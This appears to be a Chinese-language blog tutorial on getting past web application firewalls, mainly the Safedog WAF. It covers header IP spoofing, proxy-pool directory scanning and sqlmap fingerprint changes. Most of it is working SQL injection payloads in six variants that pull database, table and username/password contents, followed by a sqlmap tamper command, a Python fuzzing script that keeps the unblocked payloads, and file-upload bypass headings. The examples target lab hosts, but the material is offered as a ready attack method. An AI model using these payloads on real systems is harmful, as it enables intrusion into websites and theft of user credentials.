一、网站防护分类
1.源码防护:
使用过滤函数对恶意攻击进行过滤,绕过思路:
①大小写替换
②变换提交方式:如get请求变post/cookie请求绕过
③编码绕过:url编码、基于语句重叠、注释符等
2.软件WAF:
通过访问速度、指纹识别等特征进行拦截;常见软件WAF如安全狗、D盾、云锁、云盾等,软件WAF侧重拦截web漏洞。通过访问阈值的大小判断为CC攻击,进行IP封锁;
3.硬件WAF:
主要防御流量和部分web攻击。常见硬件WAF如天融信、深信服等厂商的防火墙。硬件WAF基于TCP三次握手封锁真实IP;
4.云WAF:
阿里云等
二、 WAF拦截方向
1.基于IP封锁
①基于HTTP请求头封锁IP
可使用burp suite插件fake-ip进行绕过
client-ip:1.1.1.1
x-forward-for:1.1.1.1
②基于TCP
使用IP代理池不断切换真实IP
2.指纹识别-修改扫描工具特有指纹
DirBuster:
sqlmap:注入时添加–radom-agent参数,也可以使用–User-Agent="xx”参数指定指纹进行注入攻击
3.访问速度和web攻击
waf存在访问阈值,如果单个IP访问速度过快会被waf当作ddos或者cc攻击从而进行拦截。另外基于web层面的攻击也会被拦截,例如:在web页面进入sql注入或者xss的payload会被waf拦截关键字,进行文件上传时会检测上传文件后缀和文件内容等…
4.总结
从IP封锁、访问速度、指纹信息以及web攻击等多个维度进行bypass。
三、目录扫描
1.子域名
子域名查询利用第三方接口查询。避免waf拦截
①shodan、fofa
②谷歌语法
③其他接口
http://z.zcjun.com/
https://phpinfo.me/domain/
https://d.chinacycc.com/index.php?m=Login&a=index
2.目录扫描
使用代理池:ProxyPool-mater
https://github.com/Python3WebSpider/ProxyPool
①本地安装redis,安装教程:
https://www.runoob.com/redis/redis-install.html
②运行代理池脚本,抓取代理IP并筛选然后存放到redis库里面:
#开启redis服务
cd ./redis
redis-server redis.windows.conf
#运行脚本ProxyPool-master
cd ./ProxyPool-master
python run.py
③运行成功后会在本机开放一个接口从而获取redis库里面的IP,并随机切换:
接口地址:127.0.0.1:5555/random
④然后利用网站目录扫描脚本调用此IP进行目录扫描,脚本实现方式:
- 加载同级目录字典进行扫描
- 调用本地接口获取代理IP
- 运行脚本,成功bypass
- 插播:使用sqlmap代理IP:
将IP保存在1.txt里面,使用–proxy-file="c:\1.txt"参数进行代理IP切换
四、手工注入
1.参数污染
①注释、空字符、内联注释、脏数据、单行注释、换行符等污染
access+asp空格: %0a %0d %09 %20 +
②长度污染:waf拦截长度有一定的限制,一般用与post提交的时候,使用垃圾字符提交内容导致内存溢出:
%%&%%%%%%%%%%%%%%%%%%%%%%%%%%0a
id=1&id=1&id=1&id=1&id=1&id=1&id=1 and 1=1
③变换提交方式(服务器支持post、cookie传参)
- 直接get提交被安全狗拦截:
- 变换为post提交方式成功bypass:
2.实例:六种方法bypass安全狗
环境:安全狗4.0 IIS版本+mysql 5.4+IIS 7.5
第一种:特殊数字+内敛注释
#在1-55000之间找特殊数字,这个数字表示数据库版本。数据库是4.45.09以上版本该语句才会被执行
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
ps:我发现在这个区间只要带44的数字都不拦截,不知道这是不是一枚彩蛋。
# 找数字列
showproducts.php?id=-13/*!10444union*//*!10444%23*/%0a/*!10444select*/1,2,3,4,5,6,7,8,9,10
#数据库名
showproducts.php?id=-13/*!10444union*//*!10444%23*/%0a/*!10444select*/1,database%23%0a(),3,4,5,6,7,8,9,10
表名
showproducts.php?id=-13/*!10444union*//*!10444%23*/%0a/*!10444select*/1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=0x7879636d73
字段名
showproducts.php?id=-13/*!10444union*//*!10444%23*/%0a/*!10444select*/1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x6d616e6167655f75736572
字段内容
showproducts.php?id=-13/*!10444union*//*!10444%23*/%0a/*!10444select*/1,group_concat(m_name,m_pwd),3,4,5,6,7,8,9,10 from manage_user
第二种union/%00/%23a%0A/!/!select 1,2,3*/;%23
字段数
?id=1/*%00*/%23a%0A/*!/*!order*/+/*%00*/%23a%0A/*!/*!by+3*/--+
#数字列
?id=-1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
#数据库
?id=-1+union/*%00*/%23a%0A/*!/*!select 1,database%23%0a(),3*/;%23
#表名
?id=-1+union/*%00*/%23a%0A/*!/*!select*/1,group_concat(%23%0atable_name),3 from information_schema.tables where table_schema=0x7365637572697479;%23
#字段名
?id=-1+union/*%00*/%23a%0A/*!/*!select*/1,group_concat(%23%0acolumn_name),3 from information_schema.columns where table_name=0x7573657273;%23
#字段内容
?id=-1+union/*%00*/%23a%0A/*!/*!select*/1,group_concat(%23%0a0x7E,username,password),3 from security.users;%23
第三种:/**&id=-1%20union%20select%201,2,3%23*/
字段数:
?id=1/**&id=1%20order by 3%23*/
数据库名
?id=1/**&id=-1%20union%20select%201,database(),3%23*/
表名
?id=1/**&id=-1%20union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23*/
字段名
?id=1/**&id=-1%20union%20select%201,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273%23*/
字段内容
?id=1/**&id=-1%20union%20select%201,group_concat(0x7e,username,password),3 from users%23*/
第四种:%20union%20all%23%0a%20select
字段数
?id=1%20order%20%23%0a%20by%203%23
数据库
?id=-1%20union%20all%23%0a%20select%201,database%23%0a(),3%23
表名
?id=-1%20union%20all%23%0a%20select%201,group_concat(%23%0atable_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
字段名
?id=-1%20union%20all%23%0a%20select%201,group_concat(%23%0acolumn_name),3 from information_schema.columns where table_name=0x7573657273%23
#字段内容
?id=-1%20union%20all%23%0a%20select%201,group_concat(%23%0a0x7e,username,password),3 from users%23
第五种:字符型
– - 是mysql的注释符 然后加上%0a 换行。安全狗正则匹配order by,union select。并不单纯匹配某一个单词函数-- -a%0a
字段数
?id=1 order -- -a%0a by 3%23
数据库
?id=-1 union-- -a%0a select 1,database-- -a%0a(),3%23
表名
?id=-1 union-- -a%0a select 1,group_concat(-- -a%0atable_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
字段名
?id=-1 union-- -a%0a select 1,group_concat(-- -a%0acolumn_name),3 from information_schema.columns where table_name=0x7573657273%23
字段内容
?id=-1 union-- -a%0a select 1,group_concat(-- -a%0a0x7e,username,password),3 from users%23
第六种:
贴图太累了。。
http://192.168.1.10:86/Less-2/?id=\Nunion/*!14444select*/1,database(%23%0a),3
tamper编写
可以对已经存在的tamper加上上面的payload进行魔改,例如:在tamper versionedmorekeywords.py里面进行替换:
替换完成后使用该tamper就可以过狗了:
python sqlmap.py -u "http://192.168.198.129:86/Less-2/?id=1" --tamper=safedog.py --ramdom-agent
fuzz
这里利用脚本或字典生成工具将以上的干扰字符进行字典制作,然后将字典带入到sql注入中,进行批量的测试筛选出不被拦截的字典语句
import requests
import time
url='http://192.168.1.10:86/Less-2/?id=-1'
for sqlin_union in open('./doc.txt'):
urls =url+sqlin_union
result=requests.get(urls).text
if(result.find('safedog')==-1):
print(sqlin_union)
time.sleep(1)
结果得到的payload:
?id=-1 %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect 1,2,3--+
?id=-1 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A 1,2,3--+
?id=1/**&id=-1 union select 1,2,3%23*/
?id=-1 union all %23%0aselect 1,2,3--+
?id=-1 union %23x%0a%0a/*!select*/ 1,database/*!()*/,3--+
上传bypass
环境同上。
安全狗
①截断
②去掉引号
③引号
第二种引号
第三种引号
④双写filename
第二种filename
⑤换行
第二种换行